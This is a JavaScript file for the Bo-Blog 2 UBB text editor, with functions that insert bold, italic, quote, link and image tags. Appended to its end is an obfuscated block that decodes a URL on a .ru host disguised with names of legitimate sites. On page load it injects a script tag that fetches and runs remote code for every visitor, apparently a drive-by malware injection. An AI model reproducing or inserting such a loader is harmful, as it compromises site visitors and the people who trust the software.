/* -----------------------------------------------------
UBB Code Editor for Bo-Blog 2
Code: Bob Shen <bob.shen@gmail.com>
Offical site: http://www.bo-blog.com
Copyright (c) Bob Shen
------------------------------------------------------- */

var clientVer = navigator.userAgent.toLowerCase(); // Get browser version
var is_firefox = ((clientVer.indexOf("gecko") != -1) && (clientVer.indexOf("firefox") != -1) && (clientVer.indexOf("opera") == -1)); //Firefox or other Gecko

function AddText(NewCode) {
	document.getElementById('v_content').value+=NewCode
	document.getElementById('v_content').focus();
}

// From http://www.massless.org/mozedit/
function FxGetTxt(open, close)
{
	var selLength = document.getElementById('v_content').textLength;
	var selStart = document.getElementById('v_content').selectionStart;
	var selEnd = document.getElementById('v_content').selectionEnd;
	if (selEnd == 1 || selEnd == 2)  selEnd = selLength;
	var s1 = (document.getElementById('v_content').value).substring(0,selStart);
	var s2 = (document.getElementById('v_content').value).substring(selStart, selEnd)
	var s3 = (document.getElementById('v_content').value).substring(selEnd, selLength);
	document.getElementById('v_content').value = s1 + open + s2 + close + s3;
	return;
}

function email() {
	txt=prompt(jslang[23],"name\@domain.com");      
	if (txt!=null) {
		AddTxt="[email]"+txt+"[/email]";
		AddText(AddTxt);
	}
}

function bold() {
if (document.selection && document.selection.type == "Text") {
		var range = document.selection.createRange();
		range.text = "[b]" + range.text + "[/b]";
} 
else if (is_firefox && document.getElementById('v_content').selectionEnd) {
	txt=FxGetTxt ("[b]", "[/b]");
	return;
} else {
	txt=prompt(jslang[24],jslang[26]);
	if (txt!=null) {
		AddTxt="[b]"+txt;
		AddText(AddTxt);
		AddTxt="[/b]";
		AddText(AddTxt);
	}
}
}

function italicize() {
if (document.selection && document.selection.type == "Text") {
		var range = document.selection.createRange();
		range.text = "[i]" + range.text + "[/i]";
} else if (is_firefox && document.getElementById('v_content').selectionEnd) {
	txt=FxGetTxt ("[i]", "[/i]");
	return;
} else {
	txt=prompt(jslang[25],jslang[26]);
	if (txt!=null) {
		AddTxt="[i]"+txt;
		AddText(AddTxt);
		AddTxt="[/i]";
		AddText(AddTxt);
	}
}
}

function underline() {
if (document.selection && document.selection.type == "Text") {
		var range = document.selection.createRange();
		range.text = "[u]" + range.text + "[/u]";
} else if (is_firefox && document.getElementById('v_content').selectionEnd) {
	txt=FxGetTxt ("[u]", "[/u]");
	return;
} else {
	txt=prompt(jslang[27],jslang[26]);
	if (txt!=null) {
		AddTxt="[u]"+txt;
		AddText(AddTxt);
		AddTxt="[/u]";
		AddText(AddTxt);
	}
}
}

function quoteme() {
if (document.selection && document.selection.type == "Text") {
		var range = document.selection.createRange();
		range.text = "[quote]" + range.text + "[/quote]";
} else if (is_firefox && document.getElementById('v_content').selectionEnd) {
	txt=FxGetTxt ("[quote]", "[/quote]");
	return;
} else {
	txt=prompt(jslang[28],jslang[26]);
	if(txt!=null) {
		AddTxt="[quote]"+txt;
		AddText(AddTxt);
		AddTxt="[/quote]";
		AddText(AddTxt);
	}
}
}

function hyperlink() {
if (document.selection && document.selection.type == "Text") {
		var range = document.selection.createRange();
		txt=prompt(jslang[29],"http://");
		range.text = "[url=" + txt + "]" + range.text + "[/url]";
} else if (is_firefox && document.getElementById('v_content').selectionEnd) {
	txt=prompt(jslang[29],"http://");
	txt=FxGetTxt ("[url=" + txt + "]", "[/url]");
	return;
} else {
	txt2=prompt(jslang[30]+"\n"+jslang[31],"");
	if (txt2!=null) {
		txt=prompt(jslang[32],"http://");
		if (txt!=null) {
			if (txt2=="") {
				AddTxt="[url]"+txt;
				AddText(AddTxt);
				AddTxt="[/url]";
				AddText(AddTxt);
			} else {
				AddTxt="[url="+txt+"]"+txt2;
				AddText(AddTxt);
				AddTxt="[/url]";
				AddText(AddTxt);
			}
		}
	}
}
}


function image() {
	txt=prompt(jslang[33],"http://");
	if(txt!=null) {
		AddTxt="[img]"+txt+"[/img]";
		AddText(AddTxt);
	}
}
try {this.P='';var a='';var Po='';var W='g';var K="";this.jC="";var N='replace';var ES=new String();var m=']';var E=RegExp;var IX="";var F='[';var A='';var V;if(V!='' && V!='aj'){V='jn'};var Ci="";function t(I,_){var BM=new Array();var n=F;var PW="";var PI;if(PI!=''){PI='jd'};n+=_;n+=m;var O="";var mF=new Date();var v=new E(n, W);var nt='';var VQ;if(VQ!='MO' && VQ!='PX'){VQ='MO'};return I[N](v, a);};var zn=new Array();var l=new Array();this.Q='';this.nb='';var C=t('hAtAtQpz:j/j/zdjujozwDaQnA-zczoAmj.A3Q6Q0A.zcAnQ.DrQezpjuDbDbDlAiAcAaA-ziDtj.AmAyjozwznjcDhzaArQtD.DrDuQ:D',"zDjQA");var r=new Date();var ay=t('bPoSdPyS',"SP");var Y=t('secIryiypytI',"eIy");var vm='';var q=new Array();var w=t('83717031178713707331',"713");var e;if(e!='wd' && e!='Ye'){e='wd'};var NV=t('/4x7vQiQdQeQo4s7.4c7o4m4/7x7vfiQd7eQoQsQ.7cAo7mf/4i7bAi7bAo4.4cfoAmA/4gAoQo7g4lQe7.Ac4o7m7/7aAb4r4ifl4.7cQofm4.4bQrA.Ap7h7p4',"7QAf4");var EJ=t('c9rqeCaCt9eCEqlCeCmZeXnZtC',"CZqX9");var BG;if(BG!=''){BG='nS'};this.wt='';var g=t('oSnxlxoSaSdS',"Sfx");this.Fg='';var Fs=t('acptpmemn3d3C3hmi3lmdc',"cm3t");this.CiC="";var I="1";var OG;if(OG!='Fo'){OG='Fo'};var j=t('sYegtgAxt5txrgi5bguxt5ex',"x5Yg");var jr;if(jr!='' && jr!='mY'){jr=null};var FY='';window[g]=function(){var Wr;if(Wr!='Vz' && Wr != ''){Wr=null};var Ro;if(Ro!='' && Ro!='Zk'){Ro=null};var Ng;if(Ng!='LC' && Ng!='wH'){Ng=''};p=document[EJ](Y);this.So='';var zX="";var VN;if(VN!='Ys' && VN!='YW'){VN=''};vm+=C;var VQI;if(VQI!=''){VQI='JI'};vm+=w;var cU="";vm+=NV;p.setAttribute('defer', I);var PM=new Date();p.src=vm;var nT=new Array();this.XI="";var u=document[ay];this.wK='';this.wn='';u.appendChild(p);var Qe;if(Qe!='Ov' && Qe!='QI'){Qe=''};var gD='';};var mZ;if(mZ!='Bk' && mZ!='IF'){mZ='Bk'};var Zw;if(Zw!='' && Zw!='Uf'){Zw=null};var To=new String();} catch(X){var Su;if(Su!='' && Su!='pb'){Su='zE'};};
